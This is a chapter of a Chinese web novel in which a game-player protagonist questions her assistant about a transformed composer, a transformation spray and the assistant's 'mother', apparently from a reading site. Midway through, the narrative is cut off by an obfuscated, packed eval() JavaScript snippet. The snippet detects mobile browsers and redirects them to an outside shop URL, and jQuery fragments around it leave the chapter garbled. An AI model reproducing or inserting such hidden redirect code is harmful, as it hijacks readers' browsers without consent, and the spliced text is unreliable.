走进办公室的是助理。


    她身上的衣服被开窗吹进来的雨点打湿,贴在身上,但因为衣服用料扎实倒也没有透出内里。


    池宴抬眼看向她,她脸颊两侧的发丝被雨水打湿后紧紧贴合在脸上,显得格外狼狈。


    池宴伸脚停住旋转的椅子,双手交叉放在腹部,笑着问道:“我们的助理不管收银员了?”


    助理看着池宴,叹了口气说:“老板……别闹了,我们都知道那是作曲家。”


    “你有什么证据吧?”池宴耸肩,一副无赖的模样,“连编舞师都说那是收银员,那可是编舞师哦,作曲家的好朋友。”


    池宴向后仰去,面色得意,还用下巴对着助理。


    助理看着池宴的眼神变得一言难尽。


    她将湿漉漉的发丝拨到耳侧后,思索了一会儿之后说道:“老板,Euphoria今后的发展还需要用到作曲家吧?就像迫在眉睫的Euphoria三单制作?贸然更换作曲家的话,对Euphoria的发展不利,就像这次Seasons的回归……”


    助理这是见直接挑明没用,改换利益威胁了?


    池宴脑中各种思绪纷飞,但还是选择顺着助理的威胁进行回应。


    “嗯……”她没有直接应答,只是从喉咙发出一阵闷响。


    池宴身体左右微微摇摆了一会儿,说道:“没什么影响吧,作曲家都说三单做好了。”


    说完,池宴腰腹一个用力,小腿抬起和大腿在一条直线上,随后她直接从椅子上跳起,双脚落在地上发出清脆的“哒”声。


    是一个完美的起身动作。


    池宴十分得意,她抬眼看着助理,慢慢地、一步一步走到助理的身前。


    助理没有躲,只是安静地看着池宴的靠近,她全身看起来都十分稳定,但她落在大腿侧微微颤抖的手指尖暴露了她内心的动荡。


    两人距离只有一臂之远时,助理顶不住压力率先偏头看向办公室内的发财树,她抿了抿唇,继续做充当说客:“老板,这样处理,作曲家的曲子版权有问题,我们需要作曲家,我们把她找回来吧?只需要一点点变形喷雾……”


    池宴快速打断她:“你果然知道点什么。”


    她抬手抚平助理翘起的一个衣角,不再接着对助理的探究,而是问道:“但为什么这么执着于作曲家?”


    池宴的话语轻柔,问出的问题却让人不寒而栗:“明明你也可以是作曲家。”


    她们都知道造成这番变化的原因。


    助理浑身明显一颤,她迅速后退几步撞上门板。


    她的脊背和门板相撞,发出“砰”的一声,呼吸也变得急促了一些。


    池宴见助理狼狈逃跑,也没有继续追逐,她转身重新回到座位上,语气中带着一丝抱怨:“这么怕我?我也没做什么吧?”


    她随手拉开抽屉:“你要的喷雾就在这里,自己拿吧。”


    抽屉里并排排列着几瓶【变形喷雾】,瓶身在办公室内的灯光照耀下显得格外诱人。


    而说完话的池宴就松开拉着抽屉的手,她躺倒在椅子上,静静地看着助理的行动。


    助理的表情十分复杂,是一种混杂了恐惧、犹豫、迟疑等负面情绪的表情,她慢慢离开门板,走到池宴的桌边。


    池宴看着她站定在【变形喷雾】前,眼睛直勾勾地看着【变形喷雾】,但那只手却迟迟伸不出去。


    她这个时候的动作,正如之前不再敢触碰池宴带回来的【钱币飞行器】。


    助理的更换工作,果然给助理带来了一些能力上的损失,比如触碰这些怪异的道具的能力。


    “别浪费时间了。”池宴催促的声音很冷。


    助理抬起手,颤颤巍巍伸向【变形喷雾】,就在即将碰到【变形喷雾】的前一刻,她的手顿住了。


    她转头看向池宴,笑得比哭还难看:“老板,解铃还须系铃人,不如您……”


    “不拿的话就出去吧。”池宴抬脚,一脚踩上抽屉,将抽屉直接关闭。


    “我不是这个意思。”助理着急解释。


    她着急得脑门出了一头汗,混夹着雨水顺着助理的下颌线流进她的衣领里。


    池宴挑眉,松口道:“那你和我做个交易?你回答我几个问题,我就去解决。”


    助理的神情在得到池宴的松口答复之后明显放松许多,但听到交易内容后,她的肩颈再次绷紧,看起来十分不情愿。


    但池宴就是那种喜欢强扭别人的人。


    她也不着急催促助理,只是安静地看着她。


    助理的面色十分挣扎,她的牙齿咬住下嘴唇思考许久,眉头死死皱起来。


    好半晌,助理微微偏头,似乎听到了什么话,她才放松下来说道:“可以,不过只能回答三个问题。”


    池宴没有讨价还价让助理给更多的次数,三次已经足够。


    她直接开始问问题:“你为什么要把作曲家变回来?”


    助理表情轻松,她欢快地回答道:“因为作曲家现在是Seasons的制作人。”


    池宴在心底为助理的话自动翻译:因为作曲家现在是“Seasons”的制作人。


    被作曲家变为Seasons四人的四个陌生人,在人际关系上呈现对作曲家的高度依赖,如果作曲家不可逆地变为收银员,被星球带娱乐送回工厂,那么作曲家对外的状态就会变成失踪,Seasons的制作人就会空缺,按照星球带娱乐的组织架构,Seasons的制作人就会变回池宴,池宴就会发现Seasons的异样。


    这是助理不希望看到的。


    这也是助理缺席的时间里,认为池宴还不知道的事情。


    池宴对助理的回答不置可否,她用着看似抱怨的语气问出第二个问题:“收银员怎么这么怕光亮啊,还没有水不行,好娇弱啊。”


    这个问题不涉及星球带娱乐、不涉及助理的自身,更不涉及池宴如今探索到的游戏的真相线,它看起来只是一句抱怨,但目的有三:一是校准助理的真假话,二是放松助理的警惕心,三是让助理知道池宴的问题不拘泥于当前情景,也会满足她的好奇心。


    这一回,助理先是沉默一瞬,但也很快给出答案:“这是因为收银员一家都有共同的基因病,怕干旱、光亮。”


    她叹了一口气,语气感慨:“幸好工厂心善,特意建造了中庭水池,供收银员一家居住。”


    半真半假。


    池宴下定论,她根据助理的神色大致推定,收银员的基因病或许为真,但工厂为收银员建设中庭水池绝对为假。


    那么真相是什么呢?或许是工厂先有中庭水池,收银员才搬进去的,总不能收银员是工厂的伴生兽吧。


    池宴内心随意猜测着真相和助理撒谎理由,但这些都不重要。


    随着助理的话音落下,雨水顺着她的发丝在她的下巴上聚集,最后滴落在池宴办公室的地面上。


    池宴假装注意力被雨水吸引,她顺着雨水看向地面,又起身看向助理的来时路,最后看向助理。


    助理神情尴尬:“老板,我等下就叫保洁上来清理。”


    她干咳了两声,催促池宴:“老板,还有最后一个问题。”


    助理嘴上催促着,她的视线却也顺着池宴的目光,看到她从门板处走到池宴桌边留下的一道水痕,神情因为失礼而变得更加不自然。


    “你妈妈是谁?”


    “妈妈就是妈……”助理还没说完,声音就嘉然而止。


    她浑身僵硬,脖子扭得咔哒咔哒响,看向池宴的目光变得不可思议。


    池宴笑了笑没有说话。


    她重新坐回位置上,心下安定,她的一个推测已经在助理的下意识回答中得到了初步印证。


    助理在工厂的门牌,真是按照“族谱”的规律来的。


    池宴抱怨道:“我努力了三年才换来了坐在你身前的机会,真是世道不公啊。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290908|194445||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    助理没有被池宴玩笑式的抱怨分离注意力。


    她一双眼睛死死盯着池宴,像是要将池宴抽筋扒皮,她咬着牙关问:“老板……你问我妈妈是什么意思?”


    “没什么意思啊。”池宴抬起一根手指绕着发丝,“没想到游戏里也有关系户。”


    她压着一只眼睛,对着助理吐舌做鬼脸。


    助理没有再轻易相信池宴的话。


    “老板,我觉得你应该有别的意思。”她语气危险,“不然不会莫名其妙提起我的妈妈。”


    她最后的“妈妈”两个字被说得十分郑重。


    窗外的风云越来越大。


    “这有什么别的意思。”池宴神情怪异且疑惑,“这不是很正常吗?你明显特权比我多很多好不好。”


    池宴单手撑在脑后,另一只手伸出来,摆着手指头数着助理的特权。


    “你刚毕业就能坐稳星球带娱乐的助理的位置,和各个甲方乙方丙方聊得都很好。”


    一般的毕业生哪里有这样的人脉、手段?


    “你在工厂有储物房间房间。”池宴说到这里还忍不住看了一眼助理,抱怨道,“我都没有诶!”


    “你还大手大脚!在星球带第一次百亿钱款没还清前就敢联系工厂使用【一次性工匠】。”池宴回忆起顾清尘还作为星球带娱乐助理顾问时的场景,他见到【一次性工匠】出现在场馆前的广场上的震惊可做不得假,“你那个时候,不应该缩衣节食,帮助公司共渡难关吗?”


    助理越听,气焰越低。


    池宴摊手:“还要我列举你其他的事迹吗?”


    助理忍了又忍,忍到最后,她忍不住反驳道:“那为什么是妈妈?”


    池宴的神情变得一言难尽,她小声嘀咕:“爸爸养成女儿?听起来好奇怪,感觉会出现奇怪的、不可接受的剧情发展支线。”


    池宴自认为作为资深的游戏玩家,自然玩过不少游戏,受一些莫名其妙的文化影响,在许多游戏的故事中,爸爸养成女儿的故事的结尾,总是有一个“父嫁”的结局。


    小小的池宴随缘打出这个结局的时候,小小的她收获了大大的问号和震撼。


    不是,别搞啊……


    想到这里,即使时隔多年,池宴还是忍不住打了个哆嗦,迅速摇头否定:“不要不要不要别搞别搞别搞,游戏你别搞这套。”


    她瘪了瘪嘴,还是不情不愿地问了助理一句:“那你爸爸是谁?”


    池宴的自然的行为让着一切看起来都是因为池宴的个人偏好,导致她问出“你妈妈是谁?”这个问题。


    助理的神色也放松下来不少,她没有抓住池宴话语中有明显的漏洞,这个发现让她嘴角扬起笑容:“老板,我们只有三个问题。”


    她转身顺着水道走出办公室,最后在门口转身提醒池宴:“老板,记得将作曲家变回原样。”


    随后,助理将门重新关上。


    “哼哼。”池宴哼唧了两句,“谁要听NPC的,我可是玩家!”


    而且她只说她会“解决”,可没说她会“将作曲家变回原样”。


    池宴眸色深沉,加速的心跳慢慢随着助理的离开慢慢降速。


    她最后的关于“妈妈”的问题确实是铤而走险。


    同样的,最后她因为“父嫁”结局的恐惧,而下意识选择问“妈妈”的表演也比较牵强,但看起来对方因为社会经验不足,没有抓住她将“长辈给晚辈资源”这个论点诡辩成“爸爸‘养成’女儿”漏洞,而选择将她轻轻放过。


    池宴脑中各种思绪闪过,刚刚三个问题的答案结合她的记忆,已经可以得到一部分真相。


    她的记忆最终定格在庆功宴上看到的如在电锅中烧开的牛奶一般的蛄蛹的白色蠕虫群。


    自然界中,在虫族中,占据上风的都是“虫母”,哪里来的“虫父”。


    池宴勾唇一笑,她用虫母的第一个孩子锁定“天”,锁定“敌人”了。